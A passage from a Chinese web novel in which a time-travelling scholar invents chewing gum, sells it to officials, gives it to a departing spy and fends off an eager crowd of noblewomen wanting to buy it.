见林闲若有所思,他两手一摊无奈道:“可要是就这么顶着一口佳酿余香去面见上官,汇报工作?轻则印象大打折扣,重则误判大事!上次抚台大人紧急召见,下官就是灌了一肚子浓茶冲下去的,差点没憋出内伤!真是……有苦难言,有口难开!”
这番话,简直是戳中了在座所有官员的肺管子!顿时引起一片强烈的共鸣!
“王通判所言极是!此乃吾等共同之烦恼也!”
“是啊是啊!尤其是面圣……呃,面见上官时,战战兢兢,唯恐口气冲撞!”
“何止官场?便是平日与友人清谈,若口中异味,也觉尴尬!”
“林解元,您那香皂、香薰皆能除浊扬清,可否在此口气一事上也施展妙手,解我等燃眉之急?”
一时间,茶叙变成了“口气诉苦大会”,各位大人纷纷倒苦水,眼巴巴望着林闲,仿佛他是唯一的救星。
说者无心,听者有意。
林闲看着这群平日道貌岸然、此刻却为“口气”愁眉苦脸的官员们,心中猛地一亮!
他想起了前世那种风靡全球、男女老少咸宜、随时随地、悄无声息就能解决口气问题的神奇小玩意儿——口香糖!
一种可以放在嘴里咀嚼、通过唾液分泌清洁口腔、释放薄荷等清香、使用极其方便隐蔽、甚至还能缓解紧张情绪的糖果!
“随时随地,悄无声息地清新口气……”
林闲低声重复着王通判的话,眼中爆发出发现新大陆般的兴奋光芒!
这不仅仅是一个官场痛点,这是一个覆盖全年龄段、全社交场景的巨大市场空白!而且需求如此迫切!
尤其是在这个极度注重礼仪、面子和人际交往的士绅阶层中!其潜在市场,甚至可能比香皂、花洒更大!
他强压下心中的激动,对王通判和众官员笑道:“王大人和诸位同僚此言,真是一语惊醒梦中人!此非小事,实乃关乎礼仪、甚至关乎公务效率的大事!林某不才,或可尝试琢磨一番……”
他故意卖了个关子,在众人期待的目光中,缓缓说道:“看能否做出一种……小巧便携、放入口中咀嚼片刻,即可生津止渴、清香满口的……
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嗯,暂且称之为清口胶或香口丸如何?”
“清口胶?香口丸?咀嚼即可?”王通判和其他官员都瞪大了眼睛,觉得这想法匪夷所思,却又无比诱人!
“正是!”
林闲信心满满,语气带着一种开创者的笃定:“无需水和器具,方寸之间悄然解决尴尬。若研制成功,定当先请王大人和诸位同僚品尝指教!届时诸位大人便可笑傲酒宴,从容应对上官了!”
“妙啊!若真有此物,简直是吾等官场中人的福音!”王通判激动得差点拍案而起!
“林解元真乃神人也!总能想人所未想!”
“我等便静候闲先生佳音了!”
茶叙在一种充满期待和兴奋的气氛中结束。各位大人离开时,看林闲的眼神,简直像是在看救世主。
茶叙结束后,林闲立刻返回他在江宁的临时工坊,心情激荡。他铺开纸张,脑中已经开始飞速构思。口香糖的核心在于三点:
第一,胶基。
提供咀嚼感和基础骨架。这个时代没有合成橡胶,但一定有天然的胶质材料!比如糖胶树胶、某些树脂或植物胶?需要试验!
第二,甜味剂。
提供口感。蜂蜜?蔗糖?麦芽糖?需要找到甜而不腻、不易融化的配比。
第三,香料。
提供清新口气。薄荷是首选!还有留兰香、柠檬?甚至可以开发不同香型!
这不仅是产品,更是一种生活方式的革新。
林闲目光灼灼自言自语:“一旦成功,它将像香皂一样改变大周百姓的潮**。而且它的隐蔽性和即时性,是其他产品无法比拟的。甚至可以在会试、殿试那种紧张场合,用来提神醒脑、缓解压力……”
想到未来科举考场上,士子们偷偷咀嚼“清口胶”的场景,林闲嘴角勾起一抹笑意。
这又是一个潜力无限的金矿!
而且这点子源于一次官场茶叙的“诉苦”,更显得接地气,需求精准。
“王通判啊王通判,你这随口一抱怨,可是给我指了条明路。下次见面,得好好谢谢你,送你一大盒清口胶!”
林闲笑着自语,已然将“口香糖”列为重点研发项目……
第121章 格物巧制:妙手得胶基,清口胶成
研发口香糖的想法,让林闲充满干劲。
但第一步寻找合适的胶基,就让林闲体验了把“巧妇难为无米之炊”的困境。
首先他需要一种无毒、无味、可长时间咀嚼且不易溶解的天然胶质。
这在前世唾手可得的原料,在大周却如大海捞针。
林闲首先将目光,投向常见的本地天然粘合剂。
他命人找来上好的糯米,熬制成粘稠的糯米胶。
林闲满怀希望取一小块放入口中咀嚼……
结果没几下就软烂如泥,粘在牙床上,活像一块失败的年糕!
“咳咳……呸呸!”
林闲好不容易清理干净,看着手里那团黏糊糊的东西,哭笑不得道:“这哪是口香糖,简直是糯米糍的叛徒,专为粘牙而生!”
不甘心的他又尝试了桃胶。这玩意儿泡发后晶莹剔透,颇有弹性。林闲小心取了一小块咀嚼……
“嘎吱……嘎吱……”
口感倒是Q弹但硬度堪比橡皮,嚼得腮帮子发酸,而且一股子草木腥气直冲脑门!
“好家伙!这嚼劲,倒是能锻炼咬肌,可这味道……怕是还没清新口气,先把自己的味蕾给送走了!”
林闲苦着脸吐掉,自嘲道:“此物或许更适合拿来当暗器,砸人肯定疼。”
他甚至脑洞大开,试了试鱼鳔熬制的胶。
结果刚靠近就被那浓郁的腥味熏得退避三舍,直接放弃。
“这个……还是留给厨子做佛跳墙吧……”
林闲捏着鼻子,一脸嫌弃放弃。
一连几天,林闲的工坊里堆满了各种黏糊糊、奇形怪状的失败品,空气里弥漫着各种奇怪的味道。
工匠们看着自家老爷每天对着不同的“胶”愁眉苦脸、嚼嚼吐吐,想笑又不敢笑。
研发陷入僵局。
林闲有些烦躁地走出工坊,在江宁繁华的街头漫无目的地散步,试图让头脑清醒一下。
正当他百无聊赖时,目光被一个售卖南方特产的小摊吸引。摊主正在吆喝一种名叫“糖胶树籽”的干果:“来看看嘞!南疆来的糖胶树籽,嚼起来韧得很,解闷又好玩!”
糖胶树籽?林闲心中一动,想起了前世关于糖胶树分泌的胶质可用于制作口香糖胶基的模糊记忆!他立刻上前买了一大包。
回到工坊,他迫不及待地取出一粒树籽放入口中咀嚼。
果然很有弹性,但随之而来的是一股强烈的苦涩味,而且里面的籽核硬得硌牙!
“呸!这味道……真是一言难尽!”
林闲皱紧眉头但没有放弃,他敏锐地察觉到,那层包裹籽核的胶质正是他需要的!
接下来的几天,林闲化身古代化学家,开始对糖胶树籽进行“深度加工”。
他先是小心剔除坚硬的籽核,只留下那层淡黄色的胶质。
然后用水长时间浸泡软化,再用木槌反复捶打,并用清水一遍遍漂洗,以最大限度地去除苦涩味。
这个过程极其考验耐心,比例、力度、时间稍有偏差,胶质要么过于软烂,要么残留苦味。
经过数十次的失败和调整,终于他得到了一小团色泽淡黄、弹性十足、手感极佳的天然胶质!
“就是它了!”
林闲看着掌心这团来之不易的胶基,眼中闪烁着胜利的喜悦。
完美的胶基材料,终于找到了!
胶基解决,剩下的就是调味和成型。这对林闲来说已是轻车熟路。
他选用上等蜂蜜和提纯的蔗糖熬成糖浆作为甜味剂,又将薄荷叶、桂花、陈皮等分别用小火烘干,再用石臼研磨成极其细腻的粉末作为香料。
关键的合成步骤开始了。
林闲将胶基隔水加热软化,然后像和面一样,将温热的糖浆和各种香料粉末按精确比例加入,开始反复揉捏、捶打!
这个过程需要极大的耐心和力气,确保胶质、糖分和香料完美融合,均匀分布。
最后是成型。
林闲将散发着淡淡甜香和薄荷清凉的胶团,在撒了炒熟糯米粉的案板上,搓成粗细均匀的长条,然后用薄而锋利的铜片,精准地切成大小一致的小方块!
第一批简易版口香糖,终于诞生了!
林闲迫不及待取出一粒放入口中轻轻一嚼。
嘘!”
清凉的薄荷味瞬间爆发,充满口腔!
胶质柔软而富有弹性,可以轻松咀嚼很长时间而不会融化
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或变渣,甜度恰到好处,确实能有效中和异味,带来持久的清新感!
成功了!
林闲感受着口中的清凉与Q弹,脸上露出了欣慰而自信的笑容。他给这个注定将风靡一时的新发明起了个响亮的名字——“元启清口胶”!
第二天,林闲带着一小罐精心包装的“清口胶”去拜访王通判。
王通判看着罐子里那些方方正正、其貌不扬的小方块,将信将疑:“先生,此物……真能清新口气?”
“大人一试便知。”
林闲微笑示意。
王通判犹豫着取出一粒放入口中,小心咀嚼起来。
起初还有些拘谨,但很快他的眼睛猛地瞪圆!
腮帮子不由自主加快了运动频率!
“嗯?”他发出惊奇的声音,感受着那奇妙的弹性和瞬间爆发的清凉,又用力哈了几口气自己闻了闻,脸上瞬间绽放出狂喜的光芒!
“太妙了!神乎其技!”
王通判激动得差点从椅子上跳起来,手舞足蹈地说:“先生真是仙人转世!此物咀嚼起来有趣,清凉透心,口气顿时清新如晨露。且如此小巧,放在袖袋里神不知鬼不觉随时可取。这这这……这简直是官场应酬、酒后醒神、乃至与夫人亲近前的必备神器啊!”
王通判当即拍板,要为自己的衙门和相熟的官绅大量订购,并拍着胸脯保证要帮林闲在江宁乃至整个江南的官场圈子里大力推广!
很快,元启清口胶以其新奇、实用、高效且略带趣味性的特点,如同旋风般席卷了江宁、苏州等地的士大夫阶层。
官员们开会前嚼一粒,见上官前嚼一粒,酒宴后更是不忘来一粒,甚至私下流传着【饭后一粒胶,上官面前不心焦】的顺口溜。
元启品牌再添爆款,订单如雪片般飞来!
林闲看着账本上再次激增的数字,嘴角勾起一抹从容的笑意。
他轻抿一口清茶,对身旁的老仆淡然道:“可见否?格物之道,皆在留心处处皆学问。世人皆苦于口齿之扰,吾辈解之便是功德,亦是商机……”
他的创新之路,在解决一个个生活“小烦恼”中,愈发宽广,也愈发深入人心。
第122章: 赠宝壮行色,如丝赴西北
在江宁府处理“元启”商务、顺带攻克“清口胶”技术难关的间隙,林闲并未忘记对那位身陷漩涡、却与自己有着微妙情愫的京城名妓——柳如丝的承诺。
他通过赵王这条线提供的可靠渠道,避开所有眼线。在江宁城郊一处隐秘的别院中,安排了一次短暂的会面。
月色如水,洒满寂静的庭院。
再次见到柳如丝时林闲敏锐察觉到,她虽体内余毒已清,眉宇间那股郁结之气淡去了不少。
但那双曾秋水盈盈的眸子深处,却沉淀了更多的警惕与疲惫。她带来的消息,也印证了林闲对天下大势的预感。
柳如丝的声音依旧清越,却带着一丝无奈道:“如丝已奉命,不日将启程前往西北边陲重镇——凉州。”
她顿了顿,语气平静却字字千钧:“潜入当地最大的画舫‘塞上明月舫’,表面是卖艺实则为……赵王殿下,刺探西北蛮族各部的最新动向。”
她抬起眼,目光穿透月色看向林闲道:“边境近来颇不平静,蛮族各部秣马厉兵似有大规模异动。凉州将军府亦有异动,恐……恐有内外勾结、引狼**之险。此去……如履薄冰,归期难料。”
这番话,已是将军国大事向林闲和盘托出。信任之情,不言而喻。
林闲心中凛然。
赵王这是要将柳如丝这把柔韧的利刃,插到最危险也最关键的地方去。
他面上不动声色,只是为她斟上一杯茉莉香片,声音沉稳嘱咐:“西北苦寒局势诡谲,姑娘此行凶险异常,万事皆需谨慎。”
随后他转身,取来一个用素锦仔细包裹的紫檀木小匣,郑重推到柳如丝面前。
柳如丝好奇打开匣子,里面是码放整齐的最后一疗程解**剂,以及一份字迹工整、详尽的后期调理药膳方子。
“这是最后的解毒汤药,按时服用可根除余毒,永绝后患。”
林闲指着药方,语气带着医者的严谨与朋友的关切:“这套调理方子,是根据你的体质精心调配的药膳,可固本培元,强健体魄,尤其能助你抵御西北的苦寒与风沙。”
他目光诚恳看着眼波流转的柳如丝道:“待姑娘功成归来,林某定当扫榻相迎,为姑娘接风洗尘。”
柳如丝接过木匣,指尖触及微凉的紫檀木,微微颤抖。
她知道这匣子装的不仅是药,更是一份沉甸甸的牵挂和生机。
在这冰冷刺骨、步步杀机的间谍生涯中,这份来自林闲的、不带任何功利色彩的关怀,犹如暗夜孤灯弥足珍贵。
她垂下眼帘,掩去眸中泛起的水光低声道:“如丝……谢过先生。”
临别在即,气氛凝滞。
林闲似想起什么,又从袖中取出一个小巧玲珑的白玉瓷瓶,瓶身温润触手生凉。
他递了过去,语气轻松了些笑道:“对了,此物名曰‘元启清口胶’,是林某近日捣鼓出的小玩意儿,姑娘带着,或可解闷。”
柳如丝好奇接过,拔开红布塞子,倒出几粒乳白色、方方正正的小方块,散发着淡淡的薄荷清香。
“这是?”
“放入口中,细细咀嚼即可。”
林闲示范做了个咀嚼的动作,笑道:“可清新口气,提神醒脑。西北饮食多腥膻,酒宴应酬亦多,此物或能派上用场。而且……”
他压低了声音,带着一丝不易察觉的深意道:“此物小巧,便于隐藏。或许……在某些万分紧急、无法言语的关头,可通过咀嚼的频率、或将其置于特定位置,传递极简短的讯息。”
柳如丝是何等聪慧之人,立刻明白了林闲的暗示!
这看似寻常的“零嘴”,在关键时刻,或许能成为传递生死信号的暗器!
她依言取出一粒放入口中,轻轻咀嚼。顿时,一股强劲却温和的清凉感在口中爆开,瞬间驱散了夜行的疲惫,精神为之一振!
那Q弹有趣的咀嚼感,更是让她紧绷的神经稍稍放松。
就在这清凉弥漫、心神微松的刹那,一个有些不合时宜的念头,如同狡猾的鱼儿,悄悄跃出了柳如丝的心湖——
‘这清凉……这气息……’
她下意识地、极其隐秘地深吸了一口气,感受着那薄荷的清香与自己呼出的气息融为一体。
“…竟和……竟和先生平日里身上的味道……有几分相似呢……”
这个念头,让她耳根微微一热。
她想起偶尔离得近时,从林闲身上嗅到的那种淡淡的、混合着书卷墨香与一种清爽草药气,总是让她莫名的心安。
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此刻,这“清口胶”的味道,竟奇异勾起了那份记忆。
‘他……他是不是也常嚼这个?所以口气才总是那么……’
柳如丝思绪不由自主地飘远,脑海中浮现出林闲与她交谈时,那从容自信的笑容和仿佛带着清风的言语。
“‘现在……现在我口中,也是这般味道了……”
一种微妙的亲近感悄然滋生,仿佛通过这共享的“清口胶”,在无人知晓的暗处,她与那位高高在上、智珠在握的“闲先生”,有了一丝隐秘的联结。
他离她似乎更近了一些,不再仅仅是恩人与被保护者,棋手与棋子……
这想法让她心头一颤,羞赧立刻涌上。
柳如丝强行掐断了这危险的联想。
但那一瞬间的旖旎与悸动,却已如投入静湖的石子,在心底漾开了细微却无法忽视的涟漪。
她缓缓抬眸,由衷赞道:“先生巧思,鬼神莫测!此物不仅妙用无穷,更暗藏玄机!如丝……拜谢先生!”
这一声感谢,情真意切远胜方才。
这瓶“清口胶”,不仅是实用之物,更代表了林闲对她处境的深切理解和无声的保护。
带着林闲的赠药、调理方子和这瓶意义非凡的“清口胶”,柳如丝知道分别的时刻到了。
她站起身,对林闲深深一福。
月光下,柳如丝身姿如弱柳扶风,眼神却异常坚定:“先生保重。如丝……去了。”
林闲起身还礼,目光深邃如夜空:“姑娘珍重。山高水长,终有再会之期。”
柳如丝不再多言,转身披上暗色斗篷。
那道倩影融入了夜色,悄然消失在通往西北的茫茫官道尽头。
林闲独立中庭,望着她消失的方向,良久,才轻轻叹了口气,低声自语:“赵王啊赵王,你将这般女子送入虎口……这西北的风云,怕是真要因这一缕‘暗香’,而掀起滔天巨浪了。也罢,我且在这江南为你这盘大棋,再添上几枚‘元启’的棋子吧。”
月色清冷,暗香浮动。
一场关乎国运的暗战,随着柳如丝的西北之行,悄然拉开序幕。
而林闲赠出的那瓶“清口胶”,或许将在未来的某个关键时刻,成为一枚意想不到的活棋。
第123章 画舫:妙语戏纨绔,清胶传佳话
送走肩负重任的柳如丝,林闲心中记挂起苏元。
他带上几盒新鲜出炉、包装精美的“元启清口胶”,乘舟前往苏元在江宁的临时居所“听雪小筑”,不料却扑了个空。
侍女告知,苏大家今日受邀去了秦淮河上最负盛名的画舫“锦绣舫”,参加一场由本地名流举办的文人雅集。
林闲闻言,便让舟子转向,直往“锦绣舫”而去。
画舫之上,灯火通明。
丝竹管弦之声悠扬,才子佳人云集,衣香鬓影,好不风雅。
苏元一袭月白裙裳,坐于主位之侧,纤指轻拨琴弦,清越的琴音流淌而出,宛如空山新雨,沁人心脾。
她那清冷脱俗的气质,在喧嚣的画舫中犹如一朵遗世独立的空谷幽兰,引得在场文人墨客频频侧目,眼中满是欣赏与倾慕。
然而这和谐的风雅之中,却混入了一股刺鼻的浊流。
只见一位身着锦缎华服、腰缠玉带、手持一柄泥金折扇的年轻公子,正满面红光,眼神飘忽,显然是几杯黄汤下肚,原形毕露。
此人乃是京城某勋贵之家的嫡子,名叫赵蟠,凭借家世在江宁做个闲散官素来附庸风雅,实则胸无点墨。
他见苏元貌美琴艺超群,便借着酒意摇摇晃晃地凑上前去,想要卖弄一番,博取佳人青睐。
他“唰”地一声甩开折扇,故意提高嗓门,对着正在抚琴的苏元,用一种抑扬顿挫却无比油腻的腔调吟诵道:
“妙啊!苏大家此曲,真乃‘此曲只应天上有,人间能得几回闻’啊!”
他摇头晃脑,目光却肆无忌惮地在苏元脸上、身上打转:“依在下看,苏大家便是那沉鱼落雁之容,闭月羞花之貌!今日能与苏大家同船共饮,真乃赵某三生有幸,祖上积德啊!哈哈哈!”
赵蟠满口皆是陈词滥调,俗不可耐,还自以为风流倜傥。
周围几位真正的文士闻言,不禁微微蹙眉面露鄙夷。
但碍于赵蟠的家世,大多敢怒不敢言,只能暗自摇头。
苏元琴音未乱,但眉头已几不可察地微微一蹙,心中厌烦至极,却碍于礼节和场合,只能微微颔首不予理会,希望他能知难而退。
赵蟠见苏元反应冷淡,觉得在众人面前失了面子,酒意上头,竟得寸进尺又往前凑了近两步,几乎要碰到琴案,他嬉皮笑脸地道:“苏大家,何必如此冷淡?小生对您可是仰慕已久,魂牵梦萦啊!今日得见仙颜,更是……呃,那个一见钟情,难以自持!不知苏大家可否赏个脸,与赵某共饮一杯?正所谓酒逢知己千杯少,话不投机半句多!你我可谓知己啊!来来来,满饮此杯!” 说着竟要伸手去拿酒杯。
这番粗俗不堪近乎调戏的言语,顿时让画舫上原本雅致的气氛荡然无存!
苏元脸色一沉,美眸中闪过一丝寒光,正要严词拒绝。
就在这千钧一发之际,一个带着几分戏谑的声音,不高却清晰地传入每个人耳中,仿佛一股清流瞬间冲散了现场的污浊之气:
“我道是哪位才子在此高谈阔论,语惊四座,原来是赵公子。久闻赵公子家学渊源,今日一听,果然……名不虚传,真是让林某……茅塞顿开,叹为观止啊!”
众人循声望去,只见林闲不知何时已悄然登上画舫。正负手立于船舷旁,月光洒在他青衫之上,更显身姿挺拔,气度从容。
他嘴角含着一丝若有若无的讥讽笑意,目光平静地看着赵蟠。
赵蟠醉眼朦胧,见是林闲。
虽知他是新科解元,但自恃家世显赫,并不十分放在眼里,反而觉得林闲坏了他的好事。
赵蟠梗着脖子,语气不善地道:“林解元?怎地? 我与苏大家相谈正欢,你在此插嘴,是何道理?莫非这画舫是你家开的不成?”
林闲不慌不忙缓步走到苏元身边,先是向她投去一个安抚而温柔的眼神,苏元见到他,紧绷的心弦瞬间松弛,眼中流露出依赖与欣喜。
林闲这才转向赵蟠,慢条斯理地说道,语气依旧平和,却字字如针:
“赵公子方才妙语连珠,连用‘沉鱼落雁’、‘闭月羞花’、‘三生有幸’、‘一见钟情’、‘酒逢知己’等诸多脍炙人口的佳句来形容苏大家,足见公子……博闻强记,词汇量之丰,实非常人可及。林某佩服。”
他这话明褒实贬,暗示赵蟠只会拾人牙慧,毫无新意。周围几位早就看不下去的文人终于忍不住,低笑出声。
赵蟠脸一下子涨成了猪肝色,怒道:“林闲!你……你这话是什么意思!讽刺本公子不成?”
林闲微微一笑,笑容依旧温和,话语却愈发犀利:“林某不敢。只是忽然想起一桩趣事,不吐不快。林某以为,赞美佳人贵在真诚贴切,发乎情止乎礼,而非堆砌辞藻,流于浮夸。”
他目光扫过在场众人,最后落在苏元身上,声音清朗笑道:“苏大家之清雅,如空谷幽兰,只可远观不可亵玩;其琴韵之高洁,如高山流水,知音者方能共鸣。此等风华,岂是寻常脂粉可比?”
他顿了顿,看向赵蟠,语气带着一丝怜悯般的调侃:“若以公子方才那些市井说书人口中流传、连三岁孩童都能背上几句的套话来形容,岂不是好比……”
他故意拉长声调,引得众人竖起耳朵:“……用那猪肉铺里油腻腻的秤砣,去称量一块温润无瑕的和氏美玉——不仅轻重不配,格调不搭,还平白污了玉的清香,惹来一身腥臊?”
“噗——哈哈哈!”
这下,整个画舫的人都忍不住哄堂大笑!这个比喻实在太形象、太辛辣了!猪肉铺的秤砣 vs 和氏美玉!简直将赵蟠的庸俗与苏元的高洁对比到了极致!
苏元也再也忍不住,掩口轻笑。
眼波流转间,看向林闲的目光充满了赞赏与情意。
赵蟠被当众如此羞辱,气得浑身发抖,指着林闲:“你……你……你敢辱我!我爹可是……”
“赵公子!”
林闲神色一正,语气陡然转冷。
一股无形的气势散发开来,竟让赵蟠的话噎在了喉咙里。
“林某并非辱你,而是提醒你!此乃文人雅集,诸位以文会友以琴交心,非是那市井勾栏,可任人喧哗之地!还望公子谨言慎行,自重身份!莫要唐突了佳人,玷污了这满船的文雅之气!若公子无真才实学,不妨静心聆听藏拙守愚,也好过在此……贻笑大方,自取其辱!”
一番话,有理有据,不卑不亢,掷地有声!
既狠狠打了赵蟠的脸,又拔高了雅集的格调,维护了苏元和所有真正文人的尊严。
周围文士纷纷抚掌称善,向林闲投去敬佩和感激的目光。
“你……你们……哼!” 赵蟠在众人鄙夷、讥讽的目光下,颜面扫地,无地自容,恨不得找个地缝钻进去,只得灰溜溜地躲到画舫最角落的阴影里,再也不敢出声。
风波平息,画舫重归雅静。
林闲这才从袖中取出那个精致小巧的白玉瓷瓶,递到苏元面前,声音恢复了之前的温和:“元儿,方才被些浊气污了耳目,缓一缓吧。此物名曰‘清口胶’,是我新制的小玩意儿,咀嚼之可清新口气,提神醒脑。”
苏元接过还带着林闲体温的瓷瓶,心中暖流涌动,涟漪阵阵。
她看着林闲方才在众人面前挥洒自如、维护自己的英姿,再感受着手中这体贴入微的赠礼,她眼中情意几乎要满溢出来。
她轻启朱唇,声音柔美道:“多谢闲君。” 这一声感谢,蕴含了千言万语。
经此“画舫风波”,林闲“才思敏捷、护花有力、风趣犀利”的名声,在江宁文人圈中不胫而走。
第124章:码头遭围堵,贵妇夺清胶
林闲在画舫之上,三言两语间便将那纨绔子弟赵蟠怼得狼狈而逃,赢得了满船才子佳人无声的喝彩与敬佩的目光。
他风轻云淡整了整衣袍,向苏元投去一个安心的眼神,心中正盘算着待会儿如何与她寻个清静处,细说方才未尽的言语。
此刻林闲风度翩翩踏上连接画舫与河岸的跳板,衣袂随风微动,俨然一副事了拂衣去,深藏身与名的潇洒姿态。
然而他那只穿着云履的脚刚刚踏上码头的青石板,还没来得及站稳,就感觉一股混合着数十种名贵香粉、花露的“香风”如同海啸般扑面而来!
浓郁得几乎令人窒息!
林闲被这突如其来的“化学攻击”呛得差点一个趔趄,连忙定睛一看,不由得倒吸一口凉气!
只见原本还算清静的码头,此刻竟被一群衣着华丽、眼神灼灼的贵妇人和千金小姐们围得水泄不通。
她们一个个眼冒绿光呼吸急促,如饿了三天的猫儿见到了鲜鱼,又像发现了唐僧肉的妖精,目光齐刷刷锁定在林闲身上——更准确地说,是锁定在他刚才递给苏元的那个精致小巧的白玉瓷瓶上!
原来画舫上那点风流韵事和“新奇玩意儿”的消息,比那秦淮河的流水传得还快。
尤其是林闲拿出一种能咀嚼、能生香、能清新口气、还能提神醒脑的神奇“香口胶”的消息,如投入滚油的火星,瞬间引爆了这些平日里最注重仪容风度又最爱追逐新奇、引领风潮的贵妇千金们的全部热情!
“林解元!请留步!”
一位按台夫人率先开口,声音因激动而微微发颤。
“解元公!方才那……那能香口的小胶糖,可否割爱,卖与妾身一些?” 一位侍郎千金挤上前,俏脸微红。
“林公子!妾身愿出双倍价钱!不,三倍!”
另一位盐商巨贾的夫人挥舞着手中的绣帕,气势豪迈。
“先给我!是我先看到解元公的!”
另一位小姐不甘示弱,试图往前挤。
刹那间,莺声燕语变成了七嘴八舌的“抢购”狂潮!林闲瞬间被这群热情过度、购买欲爆棚的贵妇团团团围住,浓郁的香粉味熏得他头晕眼花。
只见无数只戴着翡翠镯子、金镶玉戒指的纤纤玉手在他眼前晃动,差点把他直接推回河里去!
他强忍着打喷嚏的冲动,努力保持风度拱手试图解释:“诸位夫人、小姐,请稍安勿躁!此物名曰‘清口胶’,乃新近研制,数量极为有限,尚未正式……”
话未说完,一位身材丰腴、气场强大的知府夫人已经凭借体型优势挤开众人冲到最前面。
她一把紧紧拉住林闲的广袖,语气带着不容置疑的熟络:“哎呀呀!林解元!莫要如此小气嘛! 方才你在船上亲手送给苏大家的,我们可都瞧得真真儿的!快,先匀一盒给姐姐我尝尝鲜!银子好说!”
说着,她另一只保养得宜的手就似有意似无意地要往林闲的袖袋里探!
“使不得!夫人使不得! 男女授受不亲!”
林闲吓得魂飞魄散。
这哪里是买东西?
这分明是光天化日之下的“抢劫”加“非礼”!
他连连后退试图挣脱,却发现四面八方都是女人墙!
另一位千金更是胆大泼辣,直接从一个沉甸甸的绣花荷包里掏出一锭明晃晃的雪花银,不由分说就往林闲手里塞道:“解元公!钱不是问题!快!先给我一盒!就一盒!” 那架势,仿佛林闲不卖,她就能当场把银子砸过来。
混乱之中,林闲只感觉:
左边的袖子被一位激动的小姐扯住了;
右边的衣带不知被谁的玉指勾了一下,差点散开。
头上的逍遥巾更是遭了殃,被一位跳着脚想看得更清楚的夫人一把薅歪了,险些脱落!
而他随身带着,准备送给几位重要人物当样品的那一小布袋“清口胶”,不知何时从袖袋里滑出了一角,瞬间就被眼尖手快的贵妇们发现!
“在这里!”
不知谁尖叫一声!
“呀!”
刹那间,无数只手如同闻到血腥味的鲨鱼般伸向了那个可怜的小布袋!
“这是我的!我先摸到的!”
“哎呀你别抢!给我留点!”
“解元公!钱!给你钱!”
林闲眼睁睁看着自己辛苦研制、视若珍宝的“清口胶”样品,在一声声尖叫和争夺中被一抢而光!
他甚至看到两位平日裡以“手帕交”相称的闺蜜,为了一粒小小的清口胶,差点当场上演全武行!
“没了!真没了!诸位高抬贵手!饶了在下吧!”
林闲欲哭无泪,只能高举双手,连连告饶,声音都带上了哭腔道:“改日!改日‘元启’铺子正式发售!一定优先供应诸位!一定!”
他一边声嘶力竭地保证,一边使出浑身解数,如逆流而上的扁舟奋力从这片由珠翠、罗绮和狂热购买的欲望组成的“脂粉风暴”中往外挤。
那衣衫不整、发冠歪斜、满头大汗的狼狈样子,哪还有半点方才在画舫上大战纨绔、挥洒自如的潇洒从容?
简直像一只误入疯狂孔雀窝的谪仙鹤,被一群热情过度的孔雀们啄得羽毛乱飞,仙气全无!
就在林闲陷入“重围”、左支右绌、几乎要“清白不保”之际,苏元在丫鬟的搀扶下,也优雅地走下了画舫。
她看到岸上这“百凤朝阳”的壮观场面先是一愣,随即忍不住以袖掩口,“噗嗤”一声笑了出来。
只见她心仪的林闲,此刻正被一群平日里端庄矜持、此刻却眼放绿光的贵妇们围在中间。
他衣衫略显凌乱发冠微斜,脸上写满了无奈和窘迫,像只误入盘丝洞的唐僧,又像只被一群热情过度的母猫围住的高冷仙鹤,徒劳试图保持风度,却又无处可逃。这反差极大的场面,实在是让人忍俊不禁。
苏元并没有立刻上前解围,而是好整以暇地找了个稍微远些、视野绝佳的位置,悠然站定。
一双清澈含笑的眸子饶有兴致地欣赏着眼前这出“才子落难记”。
她的眼神里没有半分醋意,反而充满了一种难以言喻的欣赏、自豪,甚至带着一丝恶作剧般的趣味。
她心中暗道,思绪飞转:这才是本小姐瞧上的男人!作得锦绣文章,论战纨绔子弟时,是那般挥洒自如;制得奇巧妙物,引得满城轰动。如今竟还能让这些平日里眼高于顶的贵妇人们为他‘疯狂’至此!这般风采,这般本事,普天之下,能有几人?’
她看着林闲在“包围圈”中努力保持礼貌、却又无可奈何的样子,觉得既好笑又可爱。
这份窘迫,非但没有折损他的形象,反而让他显得更加真实、更有生气,不像那些只会死读书的呆子,也不像那些眼高于顶的狂生,更像一个……一个会害羞、会无奈、有血有肉的俊朗情郎。
【能引得众人追捧,是他的本事;能在如此追捧中不迷失、不傲慢,还能努力保持礼貌和尴尬,更是他的可贵与可爱之处。】
苏元越想嘴角的笑意越深,眼里的情意也越浓,几乎要流淌出来。她甚至有点坏心眼地想:且让他再窘迫一会儿,这般模样,倒是平日难得一见,有趣得紧。
直到看见一位尤其热情奔放的盐商夫人,几乎要将她那丰腴的身子贴到林闲身上,嘴里还嚷着“解元公莫怕,随姐姐回府上细细商谈这生意经”,而林闲一脸“吾命休矣”的绝望表情时,苏元才觉得火候差不多了。
她对身边的贴身丫鬟低语几句,丫鬟会意,深吸一口气,走上前去,提高声音,语气清脆却不失威严地道:
“诸位夫人、小姐!请留步!”
这一声,暂时吸引了众人的注意。丫鬟继续道,声音清晰地传遍码头:“苏大家有言:林解元已郑重承诺,三日后,‘元启’江宁分号开业大吉!届时这神奇的‘清口胶’,定然是足量供应,童叟无欺!还请诸位夫人小姐稍安勿躁静候佳音,届时亲临选购岂不美哉?”
她顿了顿,目光扫过众人,语气带上一丝不容置疑的提醒:“此刻,还请诸位高抬贵手,莫要再围堵解元公了。解元公尚有要事在身,若是耽误了正事,或是惊扰了贵人,恐怕……大家面上都不好看。还请行个方便,让解元公先行一步吧!”
这番话软中带硬,既给了明确的购买希望,又点出继续纠缠可能带来的后果(耽误正事、惊扰贵人),还巧妙地抬出了苏元的影响力。
狂热的贵妇们闻言,终于稍稍冷静下来。
虽仍心有不甘,但她们还是依依不舍地、一步三回头地给林闲让开了一条狭窄的“生路”。
林闲如蒙大赦,赶紧手忙脚乱地整理了一下被扯歪的衣冠和发巾,脸上还带着未褪的红晕和细汗,快步走到苏元身边。
他长舒了一口气,苦笑道:“元儿……元儿啊!你可算救了我一命!这阵仗,简直比应对赵蟠那厮可怕十倍!真是……温柔乡是英雄冢,古人诚不我欺!”
苏元看着他这副难得一见的狼狈模样,眼中笑意更盛,如同春水泛波。
她取出自己的绣帕,极其自然带着一丝隐秘的亲昵,轻轻替林闲拭了拭额角的细汗,柔声道:“闲君今日,可是风头出尽,魅力无边了呢。瞧把这满城的夫人小姐给迷的……走吧,我请你喝茶,给你好好压压惊,去去这满身的……胭脂味儿。”
语气中带着明显的调侃和一丝挑逗的醋意。
林闲被她这亲昵的举动和调侃的话语弄得心头一荡,那点窘迫瞬间烟消云散,只剩下满满的暖意和尴尬化解后的轻松。
他笑道:“求之不得!这茶,非得是顶级的明前龙井,才能洗去我方才受到的‘惊吓’!”
